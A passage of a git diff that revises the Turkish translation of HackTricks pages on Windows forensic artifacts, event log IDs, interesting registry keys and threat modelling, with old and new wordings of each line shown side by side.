`SYSTEM` dosyasını bir kayıt defteri düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından çalıştırılan uygulamalar** hakkında bilgi bulabilirsiniz (yoldaki `{SID}`'yi not edin) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içinde) görebilirsiniz.
`SYSTEM` dosyasını bir kayıt defteri düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından çalıştırılan uygulamalar** hakkında bilgileri bulabilirsiniz (yoldaki `{SID}`'yi not edin) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içinde) görebilirsiniz.
### Windows Prefetch
@ -303,13 +301,13 @@ Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/P
**Superprefetch**, önceden yükleme ile aynı amaca sahiptir, **programları daha hızlı yüklemek** için neyin yükleneceğini tahmin eder. Ancak, önceden yükleme hizmetinin yerini almaz.\
Bu hizmet, `C:\Windows\Prefetch\Ag*.db` konumunda veritabanı dosyaları oluşturur.
Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman dilimleri** ve **zaman damgaları** bulabilirsiniz.
Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman dilimleri** ve **zaman damgaları** bulunabilir.
Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) aracıyla erişebilirsiniz.
Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) aracı kullanarak erişebilirsiniz.
### SRUM
**Sistem Kaynak Kullanım İzleyici** (SRUM), **bir süreç tarafından tüketilen kaynakları** **izler**. W8'de ortaya çıkmıştır ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar.
**Sistem Kaynak Kullanım İzleyici** (SRUM), **bir süreç tarafından tüketilen kaynakları** **izler**. W8'de ortaya çıkmış ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar.
Aşağıdaki bilgileri sağlar:
@ -323,7 +321,7 @@ Aşağıdaki bilgileri sağlar:
Bu bilgiler her 60 dakikada bir güncellenir.
Bu dosyadan tarihi [**srum_dump**](https://github.com/MarkBaggett/srum-dump) aracıyla alabilirsiniz.
Bu dosyadan tarihi [**srum_dump**](https://github.com/MarkBaggett/srum-dump) aracı kullanarak elde edebilirsiniz.
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
@ -342,7 +340,7 @@ Bu tür veriler, işletim sisteminin sürümüne bağlı olarak kayıt defterind
- XP için, veriler `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` altında 96 giriş kapasitesi ile saklanır.
- Server 2003 için, ayrıca Windows sürümleri 2008, 2012, 2016, 7, 8 ve 10 için, depolama yolu `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` olup, sırasıyla 512 ve 1024 giriş kapasitesine sahiptir.
Saklanan bilgileri ayrıştırmak için, [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) kullanılması önerilir.
Saklanan bilgileri ayrıştırmak için, [**AppCompatCacheParser** aracı](https://github.com/EricZimmerman/AppCompatCacheParser) kullanılması önerilir.
![](<../../../images/image (75).png>)
@ -350,7 +348,7 @@ Saklanan bilgileri ayrıştırmak için, [**AppCompatCacheParser** tool](https:/
**Amcache.hve** dosyası, bir sistemde yürütülen uygulamalar hakkında ayrıntıları kaydeden temel bir kayıt defteri hivesidir. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur.
Bu dosya, yürütülen süreçlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 hash'lerini saklamasıyla dikkat çeker. Bu bilgi, bir sistemdeki uygulamaların etkinliğini izlemek için çok değerlidir.
Bu dosya, yürütülen süreçlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 hash'lerini saklamasıyla dikkat çekmektedir. Bu bilgi, bir sistemdeki uygulamaların etkinliğini izlemek için değerlidir.
**Amcache.hve** dosyasından veri çıkarmak ve analiz etmek için, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, AmcacheParser'ı **Amcache.hve** dosyasının içeriğini ayrıştırmak ve sonuçları CSV formatında çıkarmak için nasıl kullanacağınıza dair bir örnektir:
```bash
@ -362,23 +360,23 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
### RecentFileCache
Bu artefakt yalnızca W7'de `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` içinde bulunabilir ve bazı ikili dosyaların son çalıştırılması hakkında bilgi içerir.
Bu artefakt yalnızca W7'de `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` konumunda bulunabilir ve bazı ikili dosyaların son çalıştırılması hakkında bilgi içerir.
Dosyayı ayrıştırmak için [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) aracını kullanabilirsiniz.
### Planlı görevler
Bunları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` içinden çıkarabilir ve XML olarak okuyabilirsiniz.
Bunları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` konumundan çıkarabilir ve XML olarak okuyabilirsiniz.
### Hizmetler
Bunları `SYSTEM\ControlSet001\Services` altında kayıt defterinde bulabilirsiniz. Ne zaman ve neyin çalıştırılacağını görebilirsiniz.
Bunları `SYSTEM\ControlSet001\Services` kayıt defterinde bulabilirsiniz. Ne zaman ve neyin çalıştırılacağını görebilirsiniz.
### **Windows Store**
Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` içinde bulunabilir. Bu depo, sistemdeki **her yüklü uygulama** ile ilgili bir **log** içerir ve bu log **`StateRepository-Machine.srd`** veritabanının içindedir.
Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` konumunda bulunabilir. Bu depo, sistemdeki **her yüklü uygulama** ile ilgili bir **log** içerir ve bu log **`StateRepository-Machine.srd`** veritabanındadır.
Bu veritabanının Uygulama tablosunda, "Uygulama ID", "Paket Numarası" ve "Görüntü Adı" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve bazı uygulamaların kaldırılıp kaldırılmadığını bulmak mümkündür çünkü yüklü uygulamaların ID'leri sıralı olmalıdır.
Bu veritabanının Uygulama tablosunda "Application ID", "PackageNumber" ve "Display Name" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve bazı uygulamaların kaldırılıp kaldırılmadığını bulmak mümkündür çünkü yüklü uygulamaların kimlikleri sıralı olmalıdır.
Ayrıca, kayıt defteri yolunda yüklü uygulamaları bulmak da mümkündür: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Ve **kaldırılmış** **uygulamaları**: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
@ -390,40 +388,40 @@ Windows olayları içinde görünen bilgiler şunlardır:
- Ne oldu
- Zaman damgası (UTC + 0)
- İlgili kullanıcılar
- İlgili ana bilgisayarlar (ana bilgisayar adı, IP)
- İlgili ana bilgisayarlar (hostname, IP)
- Erişilen varlıklar (dosyalar, klasör, yazıcı, hizmetler)
Loglar, Windows Vista'dan önce `C:\Windows\System32\config` içinde ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` içinde bulunmaktadır. Windows Vista'dan önce, olay logları ikili formatta ve sonrasında **XML formatında** ve **.evtx** uzantısını kullanmaktadır.
Loglar, Windows Vista'dan önce `C:\Windows\System32\config` konumunda ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` konumunda bulunmaktadır. Windows Vista'dan önce, olay logları ikili formatta, sonrasında ise **XML formatında** ve **.evtx** uzantısını kullanarak kaydedilmiştir.
Olay dosyalarının yeri, **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** kayıt defterinde bulunabilir.
Olay dosyalarının konumu, **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** kayıt defterinde bulunabilir.
Windows Olay Görüntüleyici (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) **veya** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** gibi diğer araçlarla görselleştirilebilir.
## Windows Güvenlik Olay Kaydını Anlamak
## Windows Güvenlik Olay Kaydı Anlama
Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasiteye ulaşıldığında, daha eski olaylar üzerine yazılır. Kaydedilen olaylar, kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarındaki değişiklikler ile dosya, klasör ve paylaşılan varlık erişimini içerir.
Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasitesi dolduğunda, daha eski olaylar üzerine yazılır. Kaydedilen olaylar, kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarındaki değişiklikler ile dosya, klasör ve paylaşılan varlık erişimlerini içerir.
### Kullanıcı Kimlik Doğrulaması için Ana Olay ID'leri:
### Kullanıcı Kimlik Doğrulaması için Ana Olay Kimlikleri:
- **EventID 4624**: Bir kullanıcının başarıyla kimlik doğruladığını gösterir.
- **EventID 4625**: Bir kimlik doğrulama hatasını işaret eder.
- **EventID 4624**: Kullanıcının başarıyla kimlik doğruladığını gösterir.
- **EventID 4625**: Kimlik doğrulama hatasını belirtir.
- **EventIDs 4634/4647**: Kullanıcı çıkış olaylarını temsil eder.
- **EventID 4672**: Yönetici ayrıcalıklarıyla giriş yapıldığını belirtir.
#### EventID 4634/4647 içindeki alt türler:
- **Etkileşimli (2)**: Doğrudan kullanıcı girişi.
- ** (3)**: Paylaşılan klasörlere erişim.
- **Toplu (4)**: Toplu işlemlerin yürütülmesi.
- **Hizmet (5)**: Hizmet başlatmaları.
- **Interactive (2)**: Doğrudan kullanıcı girişi.
- **Network (3)**: Paylaşılan klasörlere erişim.
- **Batch (4)**: Toplu işlemlerin yürütülmesi.
- **Service (5)**: Hizmet başlatmaları.
- **Proxy (6)**: Proxy kimlik doğrulaması.
- **Kilidi Açma (7)**: Şifre ile ekranın kilidinin açılması.
- **Ağ Düz Metin (8)**: Düz metin şifre iletimi, genellikle IIS'den.
- **Yeni Kimlik Bilgileri (9)**: Erişim için farklı kimlik bilgileri kullanımı.
- **Uzaktan Etkileşimli (10)**: Uzaktan masaüstü veya terminal hizmetleri girişi.
- **Önbellek Etkileşimli (11)**: Alan denetleyicisi ile iletişim olmadan önbellekli kimlik bilgileri ile giriş.
- **Önbellek Uzaktan Etkileşimli (12)**: Önbellekli kimlik bilgileri ile uzaktan giriş.
- **Önbellekli Kilidi Açma (13)**: Önbellekli kimlik bilgileri ile kilidin açılması.
- **Unlock (7)**: Şifre ile ekranın kilidinin açılması.
- **Network Cleartext (8)**: Genellikle IIS'den gelen düz metin şifre iletimi.
- **New Credentials (9)**: Erişim için farklı kimlik bilgileri kullanımı.
- **Remote Interactive (10)**: Uzak masaüstü veya terminal hizmetleri girişi.
- **Cache Interactive (11)**: Alan denetleyicisi ile iletişim olmadan önbellekli kimlik bilgileri ile giriş.
- **Cache Remote Interactive (12)**: Önbellekli kimlik bilgileri ile uzak giriş.
- **Cached Unlock (13)**: Önbellekli kimlik bilgileri ile kilidin açılması.
#### EventID 4625 için Durum ve Alt Durum Kodları:
@ -433,12 +431,12 @@ Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güven
- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılmış hesaplara yetkisiz erişim girişimleri.
- **0xC000006F**: İzin verilen zaman dışında oturum açma - Belirlenen giriş saatleri dışında erişim girişimlerini gösterir, yetkisiz erişim belirtisi olabilir.
- **0xC0000070**: İş istasyonu kısıtlamalarının ihlali - Yetkisiz bir yerden giriş yapma girişimi olabilir.
- **0xC0000193**: Hesap süresi dolmuş - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri.
- **0xC0000193**: Hesap süresi doldu - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri.
- **0xC0000071**: Süresi dolmuş şifre - Eski şifrelerle giriş girişimleri.
- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasında büyük zaman farklılıkları, daha karmaşık saldırıların (pass-the-ticket gibi) göstergesi olabilir.
- **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık zorunlu değişiklikler, hesap güvenliğini bozma girişimini gösterebilir.
- **0xC0000225**: Bir sistem hatasını gösterir, güvenlik sorunu değil.
- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, örneğin bir kullanıcının bir hizmet oturumu maya çalışması.
- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasında büyük zaman farklılıkları, daha karmaşık saldırıların (pass-the-ticket gibi) belirtisi olabilir.
- **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık sık zorunlu değişiklikler, hesap güvenliğini bozma girişimini gösterebilir.
- **0xC0000225**: Bir sistem hatasını belirtir, güvenlik sorunu değil.
- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, örneğin bir kullanıcının bir hizmet oturumu başlatmaya çalışması.
#### EventID 4616:
@ -446,29 +444,29 @@ Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güven
#### EventID 6005 ve 6006:
- **Sistem Başlangıcı ve Kapatılması**: EventID 6005 sistemin başlatıldığını, EventID 6006 ise kapatıldığını gösterir.
- **Sistem Başlangıcı ve Kapatılması**: EventID 6005 sistemin başlatıldığını, EventID 6006 ise kapatıldığını belirtir.
#### EventID 1102:
- **Log Silme**: Güvenlik loglarının temizlenmesi, genellikle yasadışı faaliyetleri örtbas etme için bir kırmızı bayraktır.
#### USB Cihaz Takibi için Olay ID'leri:
#### USB Cihaz Takibi için Olay Kimlikleri:
- **20001 / 20003 / 10000**: USB cihazının ilk bağlantısı.
- **10100**: USB sürücü güncellemesi.
- **EventID 112**: USB cihazının takılma zamanı.
Bu oturum açma türlerini simüle etmek ve kimlik bilgisi dökme fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun.
Bu oturum açma türlerini simüle etme ve kimlik bilgisi dökme fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun.
Olay detayları, durum ve alt durum kodları, özellikle Event ID 4625'te olay nedenleri hakkında daha fazla bilgi sağlar.
### Windows Olaylarını Kurtarma
Silinmiş Windows Olaylarını kurtarma şansını artırmak için, şüpheli bilgisayarı doğrudan fişini çekerek kapatmak önerilir. **Bulk_extractor**, `.evtx` uzantısını belirten bir kurtarma aracı olarak, bu tür olayları kurtarmak için önerilmektedir.
Silinmiş Windows Olaylarını kurtarma şansını artırmak için, şüpheli bilgisayarı doğrudan fişini çekerek kapatmak önerilir. **Bulk_extractor**, `.evtx` uzantısını belirten bir kurtarma aracı olarak, bu tür olayları kurtarmak için önerilir.
### Windows Olayları Aracılığıyla Yaygın Saldırıları Tanımlama
Yaygın siber saldırıları tanımlamak için Windows Olay ID'lerini kullanma konusunda kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin.
Yaygın siber saldırıları tanımlamak için Windows Olay Kimliklerini kullanma konusunda kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin.
#### Kaba Kuvvet Saldırıları
@ -480,11 +478,11 @@ EventID 4616 ile kaydedilen sistem zamanındaki değişiklikler, adli analizleri
#### USB Cihaz Takibi
USB cihaz takibi için yararlı Sistem Olay ID'leri, ilk kullanım için 20001/20003/10000, sürücü güncellemeleri için 10100 ve takılma zaman damgaları için DeviceSetupManager'dan EventID 112'dir.
USB cihaz takibi için yararlı Sistem Olay Kimlikleri, ilk kullanım için 20001/20003/10000, sürücü güncellemeleri için 10100 ve takılma zaman damgaları için DeviceSetupManager'dan EventID 112'dir.
#### Sistem Güç Olayları
EventID 6005 sistem başlangıcını, EventID 6006 ise kapanışı gösterir.
EventID 6005 sistem başlangıcını, EventID 6006 ise kapanmayı belirtir.
#### Log Silme

View File

@ -1,16 +1,14 @@
# İlginç Windows Kayıt Defteri Anahtarları
### İlginç Windows Kayıt Defteri Anahtarları
{{#include ../../../banners/hacktricks-training.md}}
### **Windows Sürümü ve Sahibi Bilgileri**
- **`Software\Microsoft\Windows NT\CurrentVersion`** altında, Windows sürümü, Servis Paketi, kurulum zamanı ve kayıtlı sahibin adı basit bir şekilde bulunur.
- **`Software\Microsoft\Windows NT\CurrentVersion`** altında, Windows sürümünü, Servis Paketini, kurulum zamanını ve kayıtlı sahibin adını basit bir şekilde bulabilirsiniz.
### **Bilgisayar Adı**
- Host adı **`System\ControlSet001\Control\ComputerName\ComputerName`** altında bulunur.
- Ana bilgisayar adı **`System\ControlSet001\Control\ComputerName\ComputerName`** altında bulunur.
### **Saat Dilimi Ayarı**
@ -31,23 +29,23 @@
### Ağ Bilgileri Detayları
- Kayıt defteri, **ağ türleri (kablosuz, kablolu, 3G)** ve **ağ kategorileri (Genel, Özel/Ev, Alan/İş)** dahil olmak üzere ağ yapılandırmaları hakkında kapsamlı veriler tutar; bu, ağ güvenlik ayarlarını ve izinlerini anlamak için hayati öneme sahiptir.
- Kayıt defteri, ağ yapılandırmaları hakkında kapsamlı veriler tutar; bunlar arasında **ağ türleri (kablosuz, kablolu, 3G)** ve **ağ kategorileri (Halka Açık, Özel/Ev, Alan/İş)** bulunur; bu bilgiler ağ güvenlik ayarlarını ve izinlerini anlamak için hayati öneme sahiptir.
### İstemci Tarafı Önbellekleme (CSC)
- **CSC**, paylaşılan dosyaların kopyalarını önbelleğe alarak çevrimdışı dosya erişimini artırır. Farklı **CSCFlags** ayarları, hangi dosyaların ve nasıl önbelleğe alınacağını kontrol eder, bu da performansı ve kullanıcı deneyimini etkiler, özellikle kesintili bağlantıların olduğu ortamlarda.
- **CSC**, paylaşılan dosyaların kopyalarını önbelleğe alarak çevrimdışı dosya erişimini artırır. Farklı **CSCFlags** ayarları, hangi dosyaların ve nasıl önbelleğe alınacağını kontrol eder; bu, özellikle kesintili bağlantıların olduğu ortamlarda performansı ve kullanıcı deneyimini etkiler.
### Otomatik Başlatılan Programlar
- Çeşitli `Run` ve `RunOnce` kayıt defteri anahtarlarında listelenen programlar, başlangıçta otomatik olarak başlatılır, bu da sistem açılış süresini etkiler ve kötü amaçlı yazılım veya istenmeyen yazılımları tanımlamak için ilgi noktaları olabilir.
- Çeşitli `Run` ve `RunOnce` kayıt defteri anahtarlarında listelenen programlar, başlangıçta otomatik olarak başlatılır; bu, sistemin önyükleme süresini etkileyebilir ve kötü amaçlı yazılım veya istenmeyen yazılımları tanımlamak için ilgi noktaları olabilir.
### Shellbags
- **Shellbags**, yalnızca klasör görünüm tercihlerini saklamakla kalmaz, aynı zamanda klasör artık mevcut olmasa bile klasör erişiminin adli kanıtını sağlar. Diğer yollarla belirgin olmayan kullanıcı etkinliğini ortaya çıkardığı için soruşturmalar için değerlidir.
- **Shellbags**, yalnızca klasör görünüm tercihlerini saklamakla kalmaz, aynı zamanda klasör erişiminin adli kanıtını sağlar; bu, klasör artık mevcut olmasa bile geçerlidir. Soruşturmalar için paha biçilmezdir ve diğer yollarla belirgin olmayan kullanıcı etkinliklerini ortaya çıkarır.
### USB Bilgileri ve Adli Analiz
- Kayıt defterinde saklanan USB cihazlarıyla ilgili detaylar, bir bilgisayara hangi cihazların bağlandığını izlemeye yardımcı olabilir ve potansiyel olarak bir cihazı hassas dosya transferleri veya yetkisiz erişim olaylarıyla ilişkilendirebilir.
- Kayıt defterinde saklanan USB cihazlarıyla ilgili detaylar, hangi cihazların bir bilgisayara bağlandığını izlemeye yardımcı olabilir; bu, bir cihazı hassas dosya transferleri veya yetkisiz erişim olaylarıyla ilişkilendirebilir.
### Hacim Seri Numarası
@ -59,12 +57,12 @@
### **Ağ Yapılandırması**
- Ayrıntılı ağ arayüzü bilgileri için **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**'e bakın.
- Ayrıntılı ağ arayüzü bilgileri için **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`** adresine bakın.
- İlk ve son ağ bağlantı zamanları, VPN bağlantıları dahil olmak üzere, **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** altında çeşitli yollarla kaydedilir.
### **Paylaşılan Klasörler**
- Paylaşılan klasörler ve ayarlar **`System\ControlSet001\Services\lanmanserver\Shares`** altında bulunur. İstemci tarafı önbellekleme (CSC) ayarları çevrimdışı dosya kullanılabilirliğini belirler.
- Paylaşılan klasörler ve ayarlar **`System\ControlSet001\Services\lanmanserver\Shares`** altında bulunur. İstemci Tarafı Önbellekleme (CSC) ayarları, çevrimdışı dosya erişilebilirliğini belirler.
### **Otomatik Başlatılan Programlar**
@ -72,7 +70,7 @@
### **Aramalar ve Yazılan Yollar**
- Gezginde yapılan aramalar ve yazılan yollar, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** altında WordwheelQuery ve TypedPaths için kaydedilir.
- Gezginde yapılan aramalar ve yazılan yollar, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** altında WordwheelQuery ve TypedPaths için sırasıyla izlenir.
### **Son Belgeler ve Ofis Dosyaları**
@ -80,7 +78,7 @@
### **En Son Kullanılan (MRU) Öğeler**
- Son dosya yolları ve komutları gösteren MRU listeleri, `NTUSER.DAT` altında çeşitli `ComDlg32` ve `Explorer` alt anahtarlarında saklanır.
- En son dosya yollarını ve komutları gösteren MRU listeleri, `NTUSER.DAT` altında çeşitli `ComDlg32` ve `Explorer` alt anahtarlarında saklanır.
### **Kullanıcı Etkinliği Takibi**
@ -93,9 +91,9 @@
### **USB Cihaz Geçmişi**
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** ve **`HKLM\SYSTEM\ControlSet001\Enum\USB`** bağlı USB cihazları hakkında zengin detaylar içerir; bunlar arasında üretici, ürün adı ve bağlantı zaman damgaları bulunur.
- Belirli bir USB cihazıyla ilişkili kullanıcı, cihazın **{GUID}**'sini arayarak `NTUSER.DAT` hives içinde belirlenebilir.
- Belirli bir USB cihazıyla ilişkili kullanıcı, cihazın **{GUID}** için `NTUSER.DAT` hives'ında arama yaparak belirlenebilir.
- Son takılı cihaz ve hacim seri numarası, sırasıyla `System\MountedDevices` ve `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` üzerinden izlenebilir.
Bu kılavuz, Windows sistemlerinde ayrıntılı sistem, ağ ve kullanıcı etkinliği bilgilerine erişim için kritik yolları ve yöntemleri özetler, açıklık ve kullanılabilirlik hedefler.
Bu kılavuz, Windows sistemlerinde ayrıntılı sistem, ağ ve kullanıcı etkinliği bilgilerine erişim için kritik yolları ve yöntemleri özetlemektedir; açıklık ve kullanılabilirlik hedeflenmiştir.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# Tehdit Modelleme
{{#include /banners/hacktricks-training.md}}
## Tehdit Modelleme
HackTricks'in Tehdit Modelleme üzerine kapsamlı kılavuzuna hoş geldiniz! Bu kritik siber güvenlik alanını keşfetmeye başlayın; burada bir sistemdeki potansiyel zayıflıkları tanımlıyor, anlıyor ve bunlara karşı stratejiler geliştiriyoruz. Bu konu, gerçek dünya örnekleri, yararlı yazılımlar ve kolay anlaşılırıklamalarla dolu adım adım bir kılavuz olarak hizmet vermektedir. Hem yeni başlayanlar hem de siber güvenlik savunmalarını güçlendirmek isteyen deneyimli uygulayıcılar için idealdir.
HackTricks'in Tehdit Modelleme üzerine kapsamlı kılavuzuna hoş geldiniz! Siber güvenliğin bu kritik yönünü keşfetmeye başlayın; burada bir sistemdeki potansiyel zayıflıkları tanımlıyor, anlıyor ve bunlara karşı stratejiler geliştiriyoruz. Bu konu, gerçek dünya örnekleri, yararlı yazılımlar ve anlaşılması kolayıklamalarla dolu adım adım bir kılavuz olarak hizmet vermektedir. Hem yeni başlayanlar hem de siber güvenlik savunmalarını güçlendirmek isteyen deneyimli uygulayıcılar için idealdir.
### Yaygın Olarak Kullanılan Senaryolar
@ -13,32 +15,32 @@ HackTricks'in Tehdit Modelleme üzerine kapsamlı kılavuzuna hoş geldiniz! Bu
Bir Tehdit Modeli genellikle bir diyagram, resim veya bir uygulamanın planlanan mimarisini veya mevcut yapısını gösteren başka bir görsel illüstrasyon olarak temsil edilir. Bu, bir **veri akış diyagramı** ile benzerlik gösterir, ancak ana fark güvenlik odaklı tasarımında yatmaktadır.
Tehdit modelleri genellikle potansiyel zayıflıkları, riskleri veya engelleri simgeleyen kırmızı ile işaretlenmiş unsurlar içerir. Risk tanımlama sürecini kolaylaştırmak için CIA (Gizlilik, Bütünlük, Erişilebilirlik) üçlüsü kullanılır ve bu, birçok tehdit modelleme metodolojisinin temelini oluşturur; STRIDE en yaygın olanlardan biridir. Ancak, seçilen metodoloji belirli bağlama ve gereksinimlere bağlı olarak değişebilir.
Tehdit modelleri genellikle kırmızı ile işaretlenmiş unsurlar içerir; bu, potansiyel zayıflıkları, riskleri veya engelleri simgeler. Risk tanımlama sürecini kolaylaştırmak için CIA (Gizlilik, Bütünlük, Erişilebilirlik) üçlüsü kullanılır ve bu, birçok tehdit modelleme metodolojisinin temelini oluşturur; STRIDE en yaygın olanlardan biridir. Ancak, seçilen metodoloji belirli bağlama ve gereksinimlere bağlı olarak değişebilir.
### CIA Üçlüsü
CIA Üçlüsü, bilgi güvenliği alanında yaygın olarak tanınan bir modeldir ve Gizlilik, Bütünlük ve Erişilebilirlik anlamına gelir. Bu üç sütun, birçok güvenlik önlemi ve politikasının temelini oluşturur, bunlar arasında tehdit modelleme metodolojileri de bulunmaktadır.
CIA Üçlüsü, bilgi güvenliği alanında yaygın olarak tanınan bir modeldir ve Gizlilik, Bütünlük ve Erişilebilirlik anlamına gelir. Bu üç sütun, birçok güvenlik önlemi ve politikasının temelini oluşturur; bunlar arasında tehdit modelleme metodolojileri de bulunmaktadır.
1. **Gizlilik**: Verilerin veya sistemin yetkisiz kişiler tarafından erişilmemesini sağlamak. Bu, veri ihlallerini önlemek için uygun erişim kontrolleri, şifreleme ve diğer önlemleri gerektiren güvenliğin merkezi bir yönüdür.
2. **Bütünlük**: Verilerin yaşam döngüsü boyunca doğruluğu, tutarlılığı ve güvenilirliği. Bu ilke, verilerin yetkisiz taraflarca değiştirilmediğini veya müdahale edilmediğini garanti eder. Genellikle kontrol toplamları, hashleme ve diğer veri doğrulama yöntemlerini içerir.
3. **Erişilebilirlik**: Bu, verilerin ve hizmetlerin ihtiyaç duyulduğunda yetkili kullanıcılar tarafından erişilebilir olmasını sağlar. Bu genellikle sistemlerin kesintilere rağmen çalışmaya devam etmesi için yedeklilik, hata toleransı ve yüksek erişilebilirlik yapılandırmalarını içerir.
2. **Bütünlük**: Verilerin yaşam döngüsü boyunca doğruluğu, tutarlılığı ve güvenilirliği. Bu ilke, verilerin yetkisiz taraflarca değiştirilmemesini veya müdahale edilmemesini sağlar. Genellikle kontrol toplamları, hashleme ve diğer veri doğrulama yöntemlerini içerir.
3. **Erişilebilirlik**: Bu, verilerin ve hizmetlerin ihtiyaç duyulduğunda yetkili kullanıcılara erişilebilir olmasını sağlar. Bu genellikle sistemlerin kesintilere rağmen çalışmaya devam etmesi için yedeklilik, hata toleransı ve yüksek erişilebilirlik yapılandırmalarını içerir.
### Tehdit Modelleme Metodolojileri
1. **STRIDE**: Microsoft tarafından geliştirilen STRIDE, **Sahtecilik, Manipülasyon, Reddetme, Bilgi Açıklaması, Hizmet Reddi ve Yetki Yükseltme** için bir kısaltmadır. Her kategori bir tehdit türünü temsil eder ve bu metodoloji, potansiyel tehditleri tanımlamak için bir program veya sistemin tasarım aşamasında yaygın olarak kullanılır.
2. **DREAD**: Bu, tanımlanan tehditlerin risk değerlendirmesi için kullanılan başka bir Microsoft metodolojisidir. DREAD, **Zarar Potansiyeli, Yeniden Üretilebilirlik, Sömürülebilirlik, Etkilenen Kullanıcılar ve Keşfedilebilirlik** anlamına gelir. Bu faktörlerin her biri puanlanır ve sonuç, tanımlanan tehditlerin önceliklendirilmesinde kullanılır.
2. **DREAD**: Bu, tanımlanan tehditlerin risk değerlendirmesi için kullanılan başka bir Microsoft metodolojisidir. DREAD, **Zarar potansiyeli, Yeniden üretilebilirlik, Sömürülebilirlik, Etkilenen kullanıcılar ve Keşfedilebilirlik** anlamına gelir. Bu faktörlerin her biri puanlanır ve sonuç, tanımlanan tehditlerin önceliklendirilmesinde kullanılır.
